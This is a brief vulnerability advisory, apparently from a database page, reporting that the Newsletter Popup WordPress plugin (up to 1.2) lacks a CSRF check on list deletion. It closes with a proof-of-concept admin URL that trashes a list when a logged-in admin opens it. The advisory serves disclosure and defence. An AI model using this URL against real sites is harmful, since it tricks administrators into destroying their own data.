Newsletter Popup <= 1.2 - List Deletion via CSRF

2024-04-2500:00:00

Bob Matyas

csrf

admin

url

exploit

deletion

6.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF check when deleting list, which could allow attackers to make logged in admins perform such action via a CSRF attack

Make an admin open a URL (where `<ID>` is a valid id):

http://example.com4/wp-admin/admin.php?page=wp_newsletter_show_items&action=trash&id=<ID>